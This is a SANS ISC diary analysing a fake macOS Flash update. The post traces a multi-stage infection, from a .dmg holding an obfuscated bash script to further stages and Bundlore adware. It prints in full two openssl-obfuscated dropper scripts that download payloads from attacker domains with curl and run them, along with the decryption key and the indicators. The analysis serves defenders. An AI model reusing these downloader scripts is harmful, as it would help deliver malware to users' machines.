Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: More obfuscated shell scripts: Fake MacOS Flash update - SANS Internet Storm Center SANS ISC InfoSec Forums


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More obfuscated shell scripts: Fake MacOS Flash update

Yesterday, I wrote a diary about a nice obfuscated shell script[1]. Today, I found another example of malicious shell script embedded in an Apple .dmg file (an Apple Disk Image[2]). The file was delivered through a fake Flash update webpage:

The quality of the fake page is quite good. All links redirect to the same URL which downloads a first file called ‘Adobe Flash Player.dmg’ (SHA256:6f3ff669d3de26aac6ac4a5a7e902476df710f8c5dd9295cf5918abeebf8a638) with a VT score of 1/56![3]. This image, once mounted, entices the user to execute a script called ‘Install.command’. Here is the script content:

 1: #!/bin/bash
 2: dlDomain="$(echo "U2FsdGVkX1/fbXNpkXRL0cKWwNEaD2rneZpajkkAapbX8Uif/MGaZ6B/u1oEWglI" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 3: dlPath="$(echo "U2FsdGVkX1/I3nNeY0LjXYTpVzpZfUfhQg4pLf6/CW8=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 4: dir="${TMPDIR}/$(echo "U2FsdGVkX1/BbufKaA/GsaQ/KA42v1XVGa3Qhf8BpTk=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 5: dlUrl="http://${dlDomain}/srv/?t=1&ts=$(date +%s)"
 6: tmpDmg="${dir}/stmp.dmg"
 7: volpath="${dir}/vol_tmp"
 8: if [[ -e "${volpath}" ]]; then
 9:     /usr/sbin/diskutil unmountDisk force "${volpath}" 2>/dev/null
10: fi
11: rm -rf "${dir}" 2>/dev/null
12: mkdir -p "${dir}" 2>/dev/null
13: curl -s -L -o "${tmpDmg}" "${dlUrl}" 2>/dev/null
14: /usr/bin/hdiutil mount -nobrowse -noautoopen -mountpoint "${volpath}" "${tmpDmg}" >/dev/null 2>/dev/null
15: export MM_MNT="$( cd "$(dirname "$0")" ; pwd -P )"
16: open "${volpath}/Install.app" &
17: exit

In this case, the obfuscation is achieved by using openssl  to decrypt strings:

$ echo $(echo "U2FsdGVkX1/fbXNpkXRL0cKWwNEaD2rneZpajkkAapbX8Uif/MGaZ6B/u1oEWglI" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)
ktsjz.neverpromo.site

The complete URL is: hxxp://ktsjz[.]neverpromo[.]site/sdl//?t=1&ts=1543349208

This URL delivers the second stage called ‘Downloader.dmg’ (SHA256: 250424abd1c1d8cce3cf420074fea09d9ffc65ad1ab2d3567ff87e07cd465583) which has also a very low detection rate on  VT (2/56)[4]. The archive is mounted and the app called ‘Install.app’ is launched. Guess what? This application contains another malicious shell script:

 1: #!/bin/bash
 2: 
 3: dlDomain="$(echo "U2FsdGVkX1+bZSZsHPElxMgBO04iDny+agTwQwJ5bBNzHrXlufS3jK7g+aqAUv3a" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 4: dlPath="$(echo "U2FsdGVkX1+1qF8c9G0+nqJuKOA863HBjvH4YOwpVDI=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 5: dir="${TMPDIR}/$(echo "U2FsdGVkX1/BbufKaA/GsaQ/KA42v1XVGa3Qhf8BpTk=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 6: dlUrl="http://${dlDomain}/${dlPath}/$(echo "U2FsdGVkX1+7smzlk7/zrR2CLjVehYE/RDEtwdVOKaI=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)?ts=$(date +%s)"
 7: binPath="${dir}/$(echo "U2FsdGVkX1/nwDtMZ8mYzGJ+oh9M6mtIcw3eQZkC0F9xwxw9sMDSvOlDDyfFIUfWlTsGJvTEGyE/6sB+GqnNypdwBByScF6pHs7cW5NmB2Y=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 8: tmpFile="$(echo "U2FsdGVkX18GOWxDFc0ToHZlyhqxR87hJnCqpxyZ3oE=" | openssl enc -aes-256-cbc -a -salt -pass pass:mmpass -d -A)"
 9: if [[ -e "${dir}" ]]; then
10:    rm -rf "${dir}"
11: fi
12: mkdir -p "${dir}"
13: curl -s -L -o "${dir}/${tmpFile}" "${dlUrl}"
14: tar -xvzf "${dir}/${tmpFile}" -C "${dir}"
15: chmod +x "${binPath}"
16: "${binPath}"

The same obuscation technique is used and a third stage is downloaded from: hxxp://hyfie[.]cementvendor[.]site/sdl/mmStub.tar.gz?ts=1543349647

The downloaded file is mmStub.tar.gz (SHA256: 5df3f1108710795106ff203cfffdf3d691d490c1c353bee290704929af5f1384). The VT score is better: 13/58[5]. It's another MacOS app that contains the final malware:

$ tar tzvf mmStub.tar.gz
drwxr-xr-x  0 avivais staff       0 Nov 21 20:02 mm-install-macos.app/
drwxr-xr-x  0 avivais staff       0 Nov 16 04:32 mm-install-macos.app/Contents/
drwxr-xr-x  0 avivais staff       0 Nov 16 04:32 mm-install-macos.app/Contents/_CodeSignature/
drwxr-xr-x  0 avivais staff       0 Nov 21 20:02 mm-install-macos.app/Contents/MacOS/
drwxr-xr-x  0 avivais staff       0 Nov 21 15:39 mm-install-macos.app/Contents/Resources/
-rw-r--r--  0 avivais staff    1626 Nov 21 15:39 mm-install-macos.app/Contents/Info.plist
-rw-r--r--  0 avivais staff       8 Nov 21 15:39 mm-install-macos.app/Contents/PkgInfo
-rw-r--r--  0 avivais staff   34830 Nov 21 15:39 mm-install-macos.app/Contents/Resources/MainWindow.nib
-rw-r--r--  0 avivais staff   80945 Nov 16 04:32 mm-install-macos.app/Contents/Resources/locked.icns
-rw-r--r--  0 avivais staff   25473 Nov 21 15:39 mm-install-macos.app/Contents/Resources/__TBT_Template_Base.nib
-rw-r--r--  0 avivais staff    8971 Nov 16 04:32 mm-install-macos.app/Contents/Resources/__TBT_RequestForm.nib
-rw-r--r--  0 avivais staff  116489 Nov 16 04:32 mm-install-macos.app/Contents/Resources/mm-install-macos.icns
-rwxr-xr-x  0 avivais staff  294080 Nov 21 20:02 mm-install-macos.app/Contents/MacOS/mm-install-macos
-rw-r--r--  0 avivais staff    3786 Nov 21 20:02 mm-install-macos.app/Contents/_CodeSignature/CodeResources

The executable file is mm-install-macos (SHA256: a034a89257383f06154576f551b4389201d49415fc5659cb035d00f56865958b) and is indentified as "Mac.Bundlore.L".

[1] https://isc.sans.edu/forums/diary/Obfuscated+bash+script+targeting+QNap+boxes/24348/
[2] https://en.wikipedia.org/wiki/Apple_Disk_Image
[3] https://www.virustotal.com/#/file/6f3ff669d3de26aac6ac4a5a7e902476df710f8c5dd9295cf5918abeebf8a638/detection
[4] https://www.virustotal.com/#/file/250424abd1c1d8cce3cf420074fea09d9ffc65ad1ab2d3567ff87e07cd465583/detection
[5] https://www.virustotal.com/#/file/5df3f1108710795106ff203cfffdf3d691d490c1c353bee290704929af5f1384/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Xme

432 Posts
ISC Handler

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